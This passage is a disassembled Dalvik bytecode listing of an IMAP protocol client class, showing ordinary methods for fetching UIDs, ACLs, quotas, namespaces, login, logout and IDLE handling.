:64
00000064  if-lez                  v0, :72
:68
00000068  const-string            v3, ","
0000006C  invoke-virtual          StringBuffer->append(String)StringBuffer, v2, v3
:72
00000072  aget-wide               v3, p1, v0
00000076  invoke-static           String->valueOf(J)String, v3, v4
0000007C  move-result-object      v3
0000007E  invoke-virtual          StringBuffer->append(String)StringBuffer, v2, v3
00000084  add-int/lit8            v0, v0, 0x1
00000088  goto                    :E
:8A
0000008A  aget-object             v0, v2, v1
0000008E  if-eqz                  v0, :9E
:92
00000092  aget-object             v0, v2, v1
00000096  instance-of             v0, v0, FetchResponse
0000009A  if-nez                  v0, :A4
:9E
0000009E  add-int/lit8            v1, v1, 0x1
000000A2  goto                    :36
:A4
000000A4  aget-object             v0, v2, v1
000000A8  check-cast              v0, FetchResponse
000000AC  const-class             v5, UID
000000B0  invoke-virtual          FetchResponse->getItem(Class)Item, v0, v5
000000B6  move-result-object      v0
000000B8  check-cast              v0, UID
000000BC  if-eqz                  v0, :9E
:C0
000000C0  invoke-virtual          Vector->addElement(Object)V, v3, v0
000000C6  goto                    :9E
.end method

.method public fetchUID(I)UID
          .registers 6
00000000  const/4                 v0, 0x0
00000002  const-string            v1, "UID"
00000006  invoke-virtual          IMAPProtocol->fetch(I, String)[Response, p0, p1, v1
0000000C  move-result-object      v1
0000000E  invoke-virtual          IMAPProtocol->notifyResponseHandlers([Response)V, p0, v1
00000014  array-length            v2, v1
00000016  add-int/lit8            v2, v2, 0xFFFFFFFFFFFFFFFF
0000001A  aget-object             v2, v1, v2
0000001E  invoke-virtual          Response->isOK()Z, v2
00000024  move-result             v3
00000026  if-eqz                  v3, :3C
:2A
0000002A  const-class             v0, UID
0000002E  invoke-static           FetchResponse->getItem([Response, I, Class)Item, v1, p1, v0
00000034  move-result-object      v0
00000036  check-cast              v0, UID
:3A
0000003A  return-object           v0
:3C
0000003C  invoke-virtual          Response->isNO()Z, v2
00000042  move-result             v1
00000044  if-nez                  v1, :3A
:48
00000048  invoke-virtual          IMAPProtocol->handleResult(Response)V, p0, v2
0000004E  goto                    :3A
.end method

.method public getACL(String)[ACL
          .registers 12
00000000  const-string            v0, "ACL"
00000004  invoke-virtual          IMAPProtocol->hasCapability(String)Z, p0, v0
0000000A  move-result             v0
0000000C  if-nez                  v0, :20
:10
00000010  new-instance            v0, BadCommandException
00000014  const-string            v1, "ACL not supported"
00000018  invoke-direct           BadCommandException-><init>(String)V, v0, v1
0000001E  throw                   v0
:20
00000020  invoke-static           BASE64MailboxEncoder->encode(String)String, p1
00000026  move-result-object      v0
00000028  new-instance            v1, Argument
0000002C  invoke-direct           Argument-><init>()V, v1
00000032  invoke-virtual          Argument->writeString(String)V, v1, v0
00000038  const-string            v0, "GETACL"
0000003C  invoke-virtual          IMAPProtocol->command(String, Argument)[Response, p0, v0, v1
00000042  move-result-object      v2
00000044  array-length            v0, v2
00000046  add-int/lit8            v0, v0, 0xFFFFFFFFFFFFFFFF
0000004A  aget-object             v3, v2, v0
0000004E  new-instance            v4, Vector
00000052  invoke-direct           Vector-><init>()V, v4
00000058  invoke-virtual          Response->isOK()Z, v3
0000005E  move-result             v0
00000060  if-eqz                  v0, :6E
:64
00000064  const/4                 v0, 0x0
00000066  array-length            v5, v2
00000068  move                    v1, v0
:6A
0000006A  if-lt                   v1, v5, :8E
:6E
0000006E  invoke-virtual          IMAPProtocol->notifyResponseHandlers([Response)V, p0, v2
00000074  invoke-virtual          IMAPProtocol->handleResult(Response)V, p0, v3
0000007A  invoke-virtual          Vector->size()I, v4
00000080  move-result             v0
00000082  new-array               v0, v0, [ACL
00000086  invoke-virtual          Vector->copyInto([Object)V, v4, v0
0000008C  return-object           v0
:8E
0000008E  aget-object             v0, v2, v1
00000092  instance-of             v0, v0, IMAPResponse
00000096  if-nez                  v0, :A2
:9A
0000009A  add-int/lit8            v0, v1, 0x1
0000009E  move                    v1, v0
000000A0  goto                    :6A
:A2
000000A2  aget-object             v0, v2, v1
000000A6  check-cast              v0, IMAPResponse
000000AA  const-string            v6, "ACL"
000000AE  invoke-virtual          IMAPResponse->keyEquals(String)Z, v0, v6
000000B4  move-result             v6
000000B6  if-eqz                  v6, :9A
:BA
000000BA  invoke-virtual          IMAPResponse->readAtomString()String, v0
:C0
000000C0  invoke-virtual          IMAPResponse->readAtomString()String, v0
000000C6  move-result-object      v6
000000C8  if-nez                  v6, :D4
:CC
000000CC  const/4                 v0, 0x0
000000CE  aput-object             v0, v2, v1
000000D2  goto                    :9A
:D4
000000D4  invoke-virtual          IMAPResponse->readAtomString()String, v0
000000DA  move-result-object      v7
000000DC  if-eqz                  v7, :CC
:E0
000000E0  new-instance            v8, ACL
000000E4  new-instance            v9, Rights
000000E8  invoke-direct           Rights-><init>(String)V, v9, v7
000000EE  invoke-direct           ACL-><init>(String, Rights)V, v8, v6, v9
000000F4  invoke-virtual          Vector->addElement(Object)V, v4, v8
000000FA  goto                    :C0
.end method

.method public getCapabilities()Map
          .registers 2
00000000  iget-object             v0, p0, IMAPProtocol->capabilities:Map
00000004  return-object           v0
.end method

.method getIMAPOutputStream()OutputStream
          .registers 2
00000000  invoke-virtual          IMAPProtocol->getOutputStream()OutputStream, p0
00000006  move-result-object      v0
00000008  return-object           v0
.end method

.method public getQuota(String)[Quota
          .registers 9
00000000  const-string            v0, "QUOTA"
00000004  invoke-virtual          IMAPProtocol->hasCapability(String)Z, p0, v0
0000000A  move-result             v0
0000000C  if-nez                  v0, :20
:10
00000010  new-instance            v0, BadCommandException
00000014  const-string            v1, "QUOTA not supported"
00000018  invoke-direct           BadCommandException-><init>(String)V, v0, v1
0000001E  throw                   v0
:20
00000020  new-instance            v0, Argument
00000024  invoke-direct           Argument-><init>()V, v0
0000002A  invoke-virtual          Argument->writeString(String)V, v0, p1
00000030  const-string            v1, "GETQUOTA"
00000034  invoke-virtual          IMAPProtocol->command(String, Argument)[Response, p0, v1, v0
0000003A  move-result-object      v2
0000003C  new-instance            v3, Vector
00000040  invoke-direct           Vector-><init>()V, v3
00000046  array-length            v0, v2
00000048  add-int/lit8            v0, v0, 0xFFFFFFFFFFFFFFFF
0000004C  aget-object             v4, v2, v0
00000050  invoke-virtual          Response->isOK()Z, v4
00000056  move-result             v0
00000058  if-eqz                  v0, :66
:5C
0000005C  const/4                 v0, 0x0
0000005E  array-length            v5, v2
00000060  move                    v1, v0
:62
00000062  if-lt                   v1, v5, :86
:66
00000066  invoke-virtual          IMAPProtocol->notifyResponseHandlers([Response)V, p0, v2
0000006C  invoke-virtual          IMAPProtocol->handleResult(Response)V, p0, v4
00000072  invoke-virtual          Vector->size()I, v3
00000078  move-result             v0
0000007A  new-array               v0, v0, [Quota
0000007E  invoke-virtual          Vector->copyInto([Object)V, v3, v0
00000084  return-object           v0
:86
00000086  aget-object             v0, v2, v1
0000008A  instance-of             v0, v0, IMAPResponse
0000008E  if-nez                  v0, :9A
:92
00000092  add-int/lit8            v0, v1, 0x1
00000096  move                    v1, v0
00000098  goto                    :62
:9A
0000009A  aget-object             v0, v2, v1
0000009E  check-cast              v0, IMAPResponse
000000A2  const-string            v6, "QUOTA"
000000A6  invoke-virtual          IMAPResponse->keyEquals(String)Z, v0, v6
000000AC  move-result             v6
000000AE  if-eqz                  v6, :92
:B2
000000B2  invoke-direct           IMAPProtocol->parseQuota(Response)Quota, p0, v0
000000B8  move-result-object      v0
000000BA  invoke-virtual          Vector->addElement(Object)V, v3, v0
000000C0  const/4                 v0, 0x0
000000C2  aput-object             v0, v2, v1
000000C6  goto                    :92
.end method

.method public getQuotaRoot(String)[Quota
          .registers 12
00000000  const/4                 v9, 0x0
00000002  const/4                 v1, 0x0
00000004  const-string            v0, "QUOTA"
00000008  invoke-virtual          IMAPProtocol->hasCapability(String)Z, p0, v0
0000000E  move-result             v0
00000010  if-nez                  v0, :24
:14
00000014  new-instance            v0, BadCommandException
00000018  const-string            v1, "GETQUOTAROOT not supported"
0000001C  invoke-direct           BadCommandException-><init>(String)V, v0, v1
00000022  throw                   v0
:24
00000024  invoke-static           BASE64MailboxEncoder->encode(String)String, p1
0000002A  move-result-object      v0
0000002C  new-instance            v2, Argument
00000030  invoke-direct           Argument-><init>()V, v2
00000036  invoke-virtual          Argument->writeString(String)V, v2, v0
0000003C  const-string            v0, "GETQUOTAROOT"
00000040  invoke-virtual          IMAPProtocol->command(String, Argument)[Response, p0, v0, v2
00000046  move-result-object      v3
00000048  array-length            v0, v3
0000004A  add-int/lit8            v0, v0, 0xFFFFFFFFFFFFFFFF
0000004E  aget-object             v4, v3, v0
00000052  new-instance            v5, Hashtable
00000056  invoke-direct           Hashtable-><init>()V, v5
0000005C  invoke-virtual          Response->isOK()Z, v4
00000062  move-result             v0
00000064  if-eqz                  v0, :70
:68
00000068  array-length            v6, v3
0000006A  move                    v2, v1
:6C
0000006C  if-lt                   v2, v6, :9E
:70
00000070  invoke-virtual          IMAPProtocol->notifyResponseHandlers([Response)V, p0, v3
00000076  invoke-virtual          IMAPProtocol->handleResult(Response)V, p0, v4
0000007C  invoke-virtual          Hashtable->size()I, v5
00000082  move-result             v0
00000084  new-array               v2, v0, [Quota
00000088  invoke-virtual          Hashtable->elements()Enumeration, v5
0000008E  move-result-object      v3
:90
00000090  invoke-interface        Enumeration->hasMoreElements()Z, v3
00000096  move-result             v0
00000098  if-nez                  v0, :134
:9C
0000009C  return-object           v2
:9E
0000009E  aget-object             v0, v3, v2
000000A2  instance-of             v0, v0, IMAPResponse
000000A6  if-nez                  v0, :B2
:AA
000000AA  add-int/lit8            v0, v2, 0x1
000000AE  move                    v2, v0
000000B0  goto                    :6C
:B2
000000B2  aget-object             v0, v3, v2
000000B6  check-cast              v0, IMAPResponse
000000BA  const-string            v7, "QUOTAROOT"
000000BE  invoke-virtual          IMAPResponse->keyEquals(String)Z, v0, v7
000000C4  move-result             v7
000000C6  if-eqz                  v7, :F4
:CA
000000CA  invoke-virtual          IMAPResponse->readAtomString()String, v0
:D0
000000D0  invoke-virtual          IMAPResponse->readAtomString()String, v0
000000D6  move-result-object      v7
000000D8  if-nez                  v7, :E2
:DC
000000DC  aput-object             v9, v3, v2
000000E0  goto                    :AA
:E2
000000E2  new-instance            v8, Quota
000000E6  invoke-direct           Quota-><init>(String)V, v8, v7
000000EC  invoke-virtual          Hashtable->put(Object, Object)Object, v5, v7, v8
000000F2  goto                    :D0
:F4
000000F4  const-string            v7, "QUOTA"
000000F8  invoke-virtual          IMAPResponse->keyEquals(String)Z, v0, v7
000000FE  move-result             v7
00000100  if-eqz                  v7, :AA
:104
00000104  invoke-direct           IMAPProtocol->parseQuota(Response)Quota, p0, v0
0000010A  move-result-object      v7
0000010C  iget-object             v0, v7, Quota->quotaRoot:String
00000110  invoke-virtual          Hashtable->get(Object)Object, v5, v0
00000116  move-result-object      v0
00000118  check-cast              v0, Quota
0000011C  if-eqz                  v0, :124
:120
00000120  iget-object             v0, v0, Quota->resources:[Quota$Resource
:124
00000124  iget-object             v0, v7, Quota->quotaRoot:String
00000128  invoke-virtual          Hashtable->put(Object, Object)Object, v5, v0, v7
0000012E  aput-object             v9, v3, v2
00000132  goto                    :AA
:134
00000134  invoke-interface        Enumeration->nextElement()Object, v3
0000013A  move-result-object      v0
0000013C  check-cast              v0, Quota
00000140  aput-object             v0, v2, v1
00000144  add-int/lit8            v0, v1, 0x1
00000148  move                    v1, v0
0000014A  goto                    :90
.end method

.method protected getResponseBuffer()ByteArray
          .registers 3
00000000  iget-object             v0, p0, IMAPProtocol->ba:ByteArray
00000004  const/4                 v1, 0x0
00000006  iput-object             v1, p0, IMAPProtocol->ba:ByteArray
0000000A  return-object           v0
.end method

.method public hasCapability(String)Z
          .registers 4
00000000  iget-object             v0, p0, IMAPProtocol->capabilities:Map
00000004  sget-object             v1, Locale->ENGLISH:Locale
00000008  invoke-virtual          String->toUpperCase(Locale)String, p1, v1
0000000E  move-result-object      v1
00000010  invoke-interface        Map->containsKey(Object)Z, v0, v1
00000016  move-result             v0
00000018  return                  v0
.end method

.method public idleAbort()V
          .registers 3
00000000  invoke-virtual          IMAPProtocol->getOutputStream()OutputStream, p0
00000006  move-result-object      v0
:8
00000008  sget-object             v1, IMAPProtocol->DONE:[B
0000000C  invoke-virtual          OutputStream->write([B)V, v0, v1
00000012  invoke-virtual          OutputStream->flush()V, v0
:18
00000018  return-void
:1A
0000001A  move-exception          v0
0000001C  goto                    :18
          .catch IOException {:8 .. :18} :1A
.end method

.method public declared-synchronized idleStart()V
          .registers 3
00000000  monitor-enter           p0
:2
00000002  const-string            v0, "IDLE"
00000006  invoke-virtual          IMAPProtocol->hasCapability(String)Z, p0, v0
0000000C  move-result             v0
0000000E  if-nez                  v0, :28
:12
00000012  new-instance            v0, BadCommandException
00000016  const-string            v1, "IDLE not supported"
0000001A  invoke-direct           BadCommandException-><init>(String)V, v0, v1
00000020  throw                   v0
:22
00000022  move-exception          v0
00000024  monitor-exit            p0
00000026  throw                   v0
:28
00000028  const-string            v0, "IDLE"
0000002C  const/4                 v1, 0x0
0000002E  invoke-virtual          IMAPProtocol->writeCommand(String, Argument)String, p0, v0, v1
00000034  move-result-object      v0
00000036  iput-object             v0, p0, IMAPProtocol->idleTag:String
0000003A  invoke-virtual          IMAPProtocol->readResponse()Response, p0
:40
00000040  move-result-object      v0
:42
00000042  invoke-virtual          Response->isContinuation()Z, v0
00000048  move-result             v1
0000004A  if-nez                  v1, :54
:4E
0000004E  invoke-virtual          IMAPProtocol->handleResult(Response)V, p0, v0
:54
00000054  monitor-exit            p0
00000056  return-void
:58
00000058  move-exception          v0
:5A
0000005A  invoke-virtual          LiteralException->getResponse()Response, v0
00000060  move-result-object      v0
00000062  goto                    :42
:64
00000064  move-exception          v0
00000066  invoke-static           Response->byeResponse(Exception)Response, v0
:6C
0000006C  move-result-object      v0
0000006E  goto                    :42
          .catchall {:2 .. :22} :22
          .catch LiteralException {:28 .. :40} :58
          .catch Exception {:28 .. :40} :64
          .catchall {:28 .. :40} :22
          .catchall {:42 .. :54} :22
          .catchall {:5A .. :6C} :22
.end method

.method public isAuthenticated()Z
          .registers 2
00000000  iget-boolean            v0, p0, IMAPProtocol->authenticated:Z
00000004  return                  v0
.end method

.method public isREV1()Z
          .registers 2
00000000  iget-boolean            v0, p0, IMAPProtocol->rev1:Z
00000004  return                  v0
.end method

.method public list(String, String)[ListInfo
          .registers 4
00000000  const-string            v0, "LIST"
00000004  invoke-direct           IMAPProtocol->doList(String, String, String)[ListInfo, p0, v0, p1, p2
0000000A  move-result-object      v0
0000000C  return-object           v0
.end method

.method public listRights(String, String)[Rights
          .registers 11
00000000  const-string            v0, "ACL"
00000004  invoke-virtual          IMAPProtocol->hasCapability(String)Z, p0, v0
0000000A  move-result             v0
0000000C  if-nez                  v0, :20
:10
00000010  new-instance            v0, BadCommandException
00000014  const-string            v1, "ACL not supported"
00000018  invoke-direct           BadCommandException-><init>(String)V, v0, v1
0000001E  throw                   v0
:20
00000020  invoke-static           BASE64MailboxEncoder->encode(String)String, p1
00000026  move-result-object      v0
00000028  new-instance            v1, Argument
0000002C  invoke-direct           Argument-><init>()V, v1
00000032  invoke-virtual          Argument->writeString(String)V, v1, v0
00000038  invoke-virtual          Argument->writeString(String)V, v1, p2
0000003E  const-string            v0, "LISTRIGHTS"
00000042  invoke-virtual          IMAPProtocol->command(String, Argument)[Response, p0, v0, v1
00000048  move-result-object      v2
0000004A  array-length            v0, v2
0000004C  add-int/lit8            v0, v0, 0xFFFFFFFFFFFFFFFF
00000050  aget-object             v3, v2, v0
00000054  new-instance            v4, Vector
00000058  invoke-direct           Vector-><init>()V, v4
0000005E  invoke-virtual          Response->isOK()Z, v3
00000064  move-result             v0
00000066  if-eqz                  v0, :74
:6A
0000006A  const/4                 v0, 0x0
0000006C  array-length            v5, v2
0000006E  move                    v1, v0
:70
00000070  if-lt                   v1, v5, :94
:74
00000074  invoke-virtual          IMAPProtocol->notifyResponseHandlers([Response)V, p0, v2
0000007A  invoke-virtual          IMAPProtocol->handleResult(Response)V, p0, v3
00000080  invoke-virtual          Vector->size()I, v4
00000086  move-result             v0
00000088  new-array               v0, v0, [Rights
0000008C  invoke-virtual          Vector->copyInto([Object)V, v4, v0
00000092  return-object           v0
:94
00000094  aget-object             v0, v2, v1
00000098  instance-of             v0, v0, IMAPResponse
0000009C  if-nez                  v0, :A8
:A0
000000A0  add-int/lit8            v0, v1, 0x1
000000A4  move                    v1, v0
000000A6  goto                    :70
:A8
000000A8  aget-object             v0, v2, v1
000000AC  check-cast              v0, IMAPResponse
000000B0  const-string            v6, "LISTRIGHTS"
000000B4  invoke-virtual          IMAPResponse->keyEquals(String)Z, v0, v6
000000BA  move-result             v6
000000BC  if-eqz                  v6, :A0
:C0
000000C0  invoke-virtual          IMAPResponse->readAtomString()String, v0
000000C6  invoke-virtual          IMAPResponse->readAtomString()String, v0
:CC
000000CC  invoke-virtual          IMAPResponse->readAtomString()String, v0
000000D2  move-result-object      v6
000000D4  if-nez                  v6, :E0
:D8
000000D8  const/4                 v0, 0x0
000000DA  aput-object             v0, v2, v1
000000DE  goto                    :A0
:E0
000000E0  new-instance            v7, Rights
000000E4  invoke-direct           Rights-><init>(String)V, v7, v6
000000EA  invoke-virtual          Vector->addElement(Object)V, v4, v7
000000F0  goto                    :CC
.end method

.method public login(String, String)V
          .registers 5
00000000  new-instance            v0, Argument
00000004  invoke-direct           Argument-><init>()V, v0
0000000A  invoke-virtual          Argument->writeString(String)V, v0, p1
00000010  invoke-virtual          Argument->writeString(String)V, v0, p2
00000016  const-string            v1, "LOGIN"
0000001A  invoke-virtual          IMAPProtocol->command(String, Argument)[Response, p0, v1, v0
00000020  move-result-object      v0
00000022  invoke-virtual          IMAPProtocol->notifyResponseHandlers([Response)V, p0, v0
00000028  array-length            v1, v0
0000002A  add-int/lit8            v1, v1, 0xFFFFFFFFFFFFFFFF
0000002E  aget-object             v1, v0, v1
00000032  invoke-virtual          IMAPProtocol->handleResult(Response)V, p0, v1
00000038  array-length            v1, v0
0000003A  add-int/lit8            v1, v1, 0xFFFFFFFFFFFFFFFF
0000003E  aget-object             v0, v0, v1
00000042  invoke-virtual          IMAPProtocol->setCapabilities(Response)V, p0, v0
00000048  const/4                 v0, 0x1
0000004A  iput-boolean            v0, p0, IMAPProtocol->authenticated:Z
0000004E  return-void
.end method

.method public logout()V
          .registers 3
00000000  const-string            v0, "LOGOUT"
00000004  const/4                 v1, 0x0
00000006  invoke-virtual          IMAPProtocol->command(String, Argument)[Response, p0, v0, v1
0000000C  move-result-object      v0
0000000E  const/4                 v1, 0x0
00000010  iput-boolean            v1, p0, IMAPProtocol->authenticated:Z
00000014  invoke-virtual          IMAPProtocol->notifyResponseHandlers([Response)V, p0, v0
0000001A  invoke-virtual          IMAPProtocol->disconnect()V, p0
00000020  return-void
.end method

.method public lsub(String, String)[ListInfo
          .registers 4
00000000  const-string            v0, "LSUB"
00000004  invoke-direct           IMAPProtocol->doList(String, String, String)[ListInfo, p0, v0, p1, p2
0000000A  move-result-object      v0
0000000C  return-object           v0
.end method

.method public myRights(String)Rights
          .registers 10
00000000  const/4                 v2, 0x0
00000002  const-string            v0, "ACL"
00000006  invoke-virtual          IMAPProtocol->hasCapability(String)Z, p0, v0
0000000C  move-result             v0
0000000E  if-nez                  v0, :22
:12
00000012  new-instance            v0, BadCommandException
00000016  const-string            v1, "ACL not supported"
0000001A  invoke-direct           BadCommandException-><init>(String)V, v0, v1
00000020  throw                   v0
:22
00000022  invoke-static           BASE64MailboxEncoder->encode(String)String, p1
00000028  move-result-object      v0
0000002A  new-instance            v1, Argument
0000002E  invoke-direct           Argument-><init>()V, v1
00000034  invoke-virtual          Argument->writeString(String)V, v1, v0
0000003A  const-string            v0, "MYRIGHTS"
0000003E  invoke-virtual          IMAPProtocol->command(String, Argument)[Response, p0, v0, v1
00000044  move-result-object      v4
00000046  array-length            v0, v4
00000048  add-int/lit8            v0, v0, 0xFFFFFFFFFFFFFFFF
0000004C  aget-object             v5, v4, v0
00000050  invoke-virtual          Response->isOK()Z, v5
00000056  move-result             v0
00000058  if-eqz                  v0, :CA
:5C
0000005C  const/4                 v0, 0x0
0000005E  array-length            v6, v4
00000060  move                    v3, v0
00000062  move-object             v1, v2
:64
00000064  if-lt                   v3, v6, :76
:68
00000068  invoke-virtual          IMAPProtocol->notifyResponseHandlers([Response)V, p0, v4
0000006E  invoke-virtual          IMAPProtocol->handleResult(Response)V, p0, v5
00000074  return-object           v1
:76
00000076  aget-object             v0, v4, v3
0000007A  instance-of             v0, v0, IMAPResponse
0000007E  if-nez                  v0, :8A
:82
00000082  add-int/lit8            v0, v3, 0x1
00000086  move                    v3, v0
00000088  goto                    :64
:8A
0000008A  aget-object             v0, v4, v3
0000008E  check-cast              v0, IMAPResponse
00000092  const-string            v7, "MYRIGHTS"
00000096  invoke-virtual          IMAPResponse->keyEquals(String)Z, v0, v7
0000009C  move-result             v7
0000009E  if-eqz                  v7, :82
:A2
000000A2  invoke-virtual          IMAPResponse->readAtomString()String, v0
000000A8  invoke-virtual          IMAPResponse->readAtomString()String, v0
000000AE  move-result-object      v7
000000B0  if-nez                  v1, :C6
:B4
000000B4  new-instance            v0, Rights
000000B8  invoke-direct           Rights-><init>(String)V, v0, v7
:BE
000000BE  aput-object             v2, v4, v3
000000C2  move-object             v1, v0
000000C4  goto                    :82
:C6
000000C6  move-object             v0, v1
000000C8  goto                    :BE
:CA
000000CA  move-object             v1, v2
000000CC  goto                    :68
.end method

.method public namespace()Namespaces
          .registers 9
00000000  const/4                 v2, 0x0
00000002  const-string            v0, "NAMESPACE"
00000006  invoke-virtual          IMAPProtocol->hasCapability(String)Z, p0, v0
0000000C  move-result             v0
0000000E  if-nez                  v0, :22
:12
00000012  new-instance            v0, BadCommandException
00000016  const-string            v1, "NAMESPACE not supported"
0000001A  invoke-direct           BadCommandException-><init>(String)V, v0, v1
00000020  throw                   v0
:22
00000022  const-string            v0, "NAMESPACE"
00000026  invoke-virtual          IMAPProtocol->command(String, Argument)[Response, p0, v0, v2
0000002C  move-result-object      v4
0000002E  array-length            v0, v4
00000030  add-int/lit8            v0, v0, 0xFFFFFFFFFFFFFFFF
00000034  aget-object             v5, v4, v0
00000038  invoke-virtual          Response->isOK()Z, v5
0000003E  move-result             v0
00000040  if-eqz                  v0, :A6
:44
00000044  const/4                 v0, 0x0
00000046  array-length            v6, v4
00000048  move                    v3, v0
0000004A  move-object             v1, v2
:4C
0000004C  if-lt                   v3, v6, :5E
:50
00000050  invoke-virtual          IMAPProtocol->notifyResponseHandlers([Response)V, p0, v4
00000056  invoke-virtual          IMAPProtocol->handleResult(Response)V, p0, v5
0000005C  return-object           v1
:5E
0000005E  aget-object             v0, v4, v3
00000062  instance-of             v0, v0, IMAPResponse
00000066  if-nez                  v0, :72
:6A
0000006A  add-int/lit8            v0, v3, 0x1
0000006E  move                    v3, v0
00000070  goto                    :4C
:72
00000072  aget-object             v0, v4, v3
00000076  check-cast              v0, IMAPResponse
0000007A  const-string            v7, "NAMESPACE"
0000007E  invoke-virtual          IMAPResponse->keyEquals(String)Z, v0, v7
00000084  move-result             v7
00000086  if-eqz                  v7, :6A
:8A
0000008A  if-nez                  v1, :A2
:8E
0000008E  new-instance            v1, Namespaces
00000092  invoke-direct           Namespaces-><init>(Response)V, v1, v0
00000098  move-object             v0, v1
:9A
0000009A  aput-object             v2, v4, v3
0000009E  move-object             v1, v0
000000A0  goto                    :6A
:A2
000000A2  move-object             v0, v1
000000A4  goto                    :9A
:A6
000000A6  move-object             v1, v2
000000A8  goto                    :50
.end method

.method public noop()V
          .registers 3
00000000  iget-boolean            v0, p0, IMAPProtocol->debug:Z
00000004  if-eqz                  v0, :16
:8
00000008  iget-object             v0, p0, IMAPProtocol->out:PrintStream
0000000C  const-string            v1, "IMAP DEBUG: IMAPProtocol noop"
00000010  invoke-virtual          PrintStream->println(String)V, v0, v1
:16
00000016  const-string            v0, "NOOP"
0000001A  const/4                 v1, 0x0
0000001C  invoke-virtual          IMAPProtocol->simpleCommand(String, Argument)V, p0, v0, v1
00000022  return-void
.end method

.method protected parseCapabilities(Response)V
          .registers 9
00000000  const/16                v6, 0x5D
00000004  const/4                 v2, 0x0
00000006  const/4                 v5, 0x5
:8
00000008  invoke-virtual          Response->readAtom(C)String, p1, v6
0000000E  move-result-object      v0
00000010  if-nez                  v0, :16
:14
00000014  return-void
:16
00000016  invoke-virtual          String->length()I, v0
0000001C  move-result             v1
0000001E  if-nez                  v1, :36
:22
00000022  invoke-virtual          Response->peekByte()B, p1
00000028  move-result             v0
0000002A  if-eq                   v0, v6, :14
:2E
0000002E  invoke-virtual          Response->skipToken()V, p1
00000034  goto                    :8
:36
00000036  iget-object             v1, p0, IMAPProtocol->capabilities:Map
0000003A  sget-object             v3, Locale->ENGLISH:Locale
0000003E  invoke-virtual          String->toUpperCase(Locale)String, v0, v3
00000044  move-result-object      v3
00000046  invoke-interface        Map->put(Object, Object)Object, v1, v3, v0
0000004C  const/4                 v1, 0x1
0000004E  const-string            v3, "AUTH="
00000052  move                    v4, v2
00000054  invoke-virtual/range    String->regionMatches(Z, I, String, I, I)Z, v0 .. v5
0000005A  move-result             v1
0000005C  if-eqz                  v1, :8
:60
00000060  iget-object             v1, p0, IMAPProtocol->authmechs:List
00000064  invoke-virtual          String->substring(I)String, v0, v5
0000006A  move-result-object      v3
0000006C  invoke-interface        List->add(Object)Z, v1, v3
00000072  iget-boolean            v1, p0, IMAPProtocol->debug:Z
00000076  if-eqz                  v1, :8
:7A
0000007A  iget-object             v1, p0, IMAPProtocol->out:PrintStream
0000007E  new-instance            v3, StringBuilder
00000082  const-string            v4, "IMAP DEBUG: AUTH: "
00000086  invoke-direct           StringBuilder-><init>(String)V, v3, v4
0000008C  invoke-virtual          String->substring(I)String, v0, v5
00000092  move-result-object      v0
00000094  invoke-virtual          StringBuilder->append(String)StringBuilder, v3, v0
0000009A  move-result-object      v0
0000009C  invoke-virtual          StringBuilder->toString()String, v0
000000A2  move-result-object      v0
000000A4  invoke-virtual          PrintStream->println(String)V, v1, v0
000000AA  goto                    :8
.end method

.method public peekBody(I, String)BODY
          .registers 4
00000000  const/4                 v0, 0x1
00000002  invoke-virtual          IMAPProtocol->fetchBody(I, String, Z)BODY, p0, p1, p2, v0
00000008  move-result-object      v0
0000000A  return-object           v0
.end method

.method public peekBody(I, String, I, I)BODY
          .registers 12
00000000  const/4                 v5, 0x1
00000002  const/4                 v6, 0x0
00000004  move-object             v0, p0
00000006  move                    v1, p1
00000008  move-object             v2, p2
0000000A  move                    v3, p3
0000000C  move                    v4, p4
0000000E  invoke-virtual/range    IMAPProtocol->fetchBody(I, String, I, I, Z, ByteArray)BODY, v0 .. v6
00000014  move-result-object      v0
00000016  return-object           v0
.end method

.method public peekBody(I, String, I, I, ByteArray)BODY
          .registers 13
00000000  const/4                 v5, 0x1
00000002  move-object             v0, p0
00000004  move                    v1, p1
00000006  move-object             v2, p2
00000008  move                    v3, p3
0000000A  move                    v4, p4
0000000C  move-object             v6, p5
0000000E  invoke-virtual/range    IMAPProtocol->fetchBody(I, String, I, I, Z, ByteArray)BODY, v0 .. v6
00000014  move-result-object      v0
00000016  return-object           v0
.end method

.method protected processGreeting(Response)V
          .registers 4
00000000  invoke-super            Protocol->processGreeting(Response)V, p0, p1
00000006  invoke-virtual          Response->isOK()Z, p1
0000000C  move-result             v0
0000000E  if-eqz                  v0, :1A
:12
00000012  invoke-virtual          IMAPProtocol->setCapabilities(Response)V, p0, p1
:18
00000018  return-void
:1A
0000001A  move-object             v0, p1
0000001C  check-cast              v0, IMAPResponse
00000020  const-string            v1, "PREAUTH"
00000024  invoke-virtual          IMAPResponse->keyEquals(String)Z, v0, v1
0000002A  move-result             v0
0000002C  if-eqz                  v0, :3E
:30
00000030  const/4                 v0, 0x1
00000032  iput-boolean            v0, p0, IMAPProtocol->authenticated:Z
00000036  invoke-virtual          IMAPProtocol->setCapabilities(Response)V, p0, p1
0000003C  goto                    :18
:3E
0000003E  new-instance            v0, ConnectionException
00000042  invoke-direct           ConnectionException-><init>(Protocol, Response)V, v0, p0, p1
00000048  throw                   v0
.end method

.method public processIdleResponse(Response)Z
          .registers 7
00000000  const/4                 v2, 0x0
00000002  const/4                 v1, 0x1
00000004  new-array               v0, v1, [Response
00000008  aput-object             p1, v0, v2
0000000C  invoke-virtual          IMAPProtocol->notifyResponseHandlers([Response)V, p0, v0
00000012  invoke-virtual          Response->isBYE()Z, p1
00000018  move-result             v0
0000001A  if-eqz                  v0, :60
:1E
0000001E  move                    v0, v1
:20
00000020  invoke-virtual          Response->isTagged()Z, p1
00000026  move-result             v3
00000028  if-eqz                  v3, :46
:2C
0000002C  invoke-virtual          Response->getTag()String, p1
00000032  move-result-object      v3
00000034  iget-object             v4, p0, IMAPProtocol->idleTag:String
00000038  invoke-virtual          String->equals(Object)Z, v3, v4
0000003E  move-result             v3
00000040  if-eqz                  v3, :46
:44
00000044  move                    v0, v1
:46
00000046  if-eqz                  v0, :50
:4A
0000004A  const/4                 v3, 0x0
0000004C  iput-object             v3, p0, IMAPProtocol->idleTag:String
:50
00000050  invoke-virtual          IMAPProtocol->handleResult(Response)V, p0, p1
00000056  if-eqz                  v0, :5C
:5A
0000005A  return                  v2
:5C
0000005C  move                    v2, v1
0000005E  goto                    :5A
:60
00000060  move                    v0, v2
00000062  goto                    :20
.end method

.method public proxyauth(String)V
          .registers 4
00000000  new-instance            v0, Argument
00000004  invoke-direct           Argument-><init>()V, v0
0000000A  invoke-virtual          Argument->writeString(String)V, v0, p1
00000010  const-string            v1, "PROXYAUTH"
00000014  invoke-virtual          IMAPProtocol->simpleCommand(String, Argument)V, p0, v1, v0
0000001A  return-void
